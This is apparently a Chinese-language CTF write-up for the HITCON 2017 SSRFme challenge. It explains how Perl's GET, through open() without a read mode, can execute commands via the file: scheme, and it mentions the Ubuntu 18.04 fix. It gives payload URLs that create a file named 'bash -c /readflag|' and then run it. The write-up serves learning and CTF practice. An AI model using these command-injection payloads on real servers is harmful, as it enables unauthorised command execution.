perl脚本GET系统命令执行

这篇博客介绍了Perl脚本中GET请求执行系统命令的原理,探讨了Ubuntu 18.04修复的安全漏洞,并展示了如何利用file协议和管道符号进行SSRF攻击。通过创建特定文件并利用GET请求执行bash命令,最终达到读取目标文件的目的。修复措施和漏洞利用细节被详细记录下来。
摘要由CSDN通过智能技术生成

题目来自 [HITCON 2017]SSRFme

在这里插入图片描述

代码的思路很简单,就是会先建一个文件夹sandbox/md5(orange+ip),然后将url的值写到filename文件中

$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
这行代码开始以为就是GET请求,所以想到了file协议去读文件,但这种做法是错误的

简单记录一下perl脚本GET系统命令执行的学习
在这里插入图片描述
简单来看看使用GET如何来执行系统命令。具体为啥原因我也说不上来,大概就是open函数支持file协议

perl里的GET函数底层就是调用了open处理

要执行的命令首先必须要有该文件存在,以命令为文件名的文件存在

ubuntu18.04 已经修复此漏洞
修复的方式是在下面第三行代码中,open中间加了个参数’<’

    if ($method ne "HEAD") {
	open(my $fh,'<', $path) or return new         ##就是这里出了问题
	    HTTP::Response(HTTP::Status::RC_INTERNAL_SERVER_ERROR,
			   "Cannot read file '$path': $!");
	binmode($fh);
	$response =  $self->collect($arg, $response, sub {
	    my $content = "";
	    my $bytes = sysread($fh, $content, $size);
	    return \$content if $bytes > 0;
	    return \ "";
	});
	close($fh);
    }
    $response;
}

暂且删掉这个 <不管他

利用file:bash -c "cmd string"来读文件

?url=/&filename=aaa
在这里插入图片描述
之前提到要 open函数 执行命令首先就是必须存在这个文件,那么我们首先就是要创建一个以命令命名的文件,然后再去执行

创建 bash -c /readflag| 命名的文件

?url=&filename=bash -c /readflag|

利用GET执行 bash -c /readflag| 并且写到 文件aaa中

?url=file:bash -c /readflag|&filename=aaa

最后访问 sandbox/md5(orange+ip)/aaa 就可以了

然后就是 | ,这个应该是个分界符的意思,因为他放在前面也是可以的,比如| /readflag

也不是很清楚,就简单记录一下,详细的可以看看这个大佬写的

-------------------perl脚本GET执行系统命令---------------------

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

paidx0

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值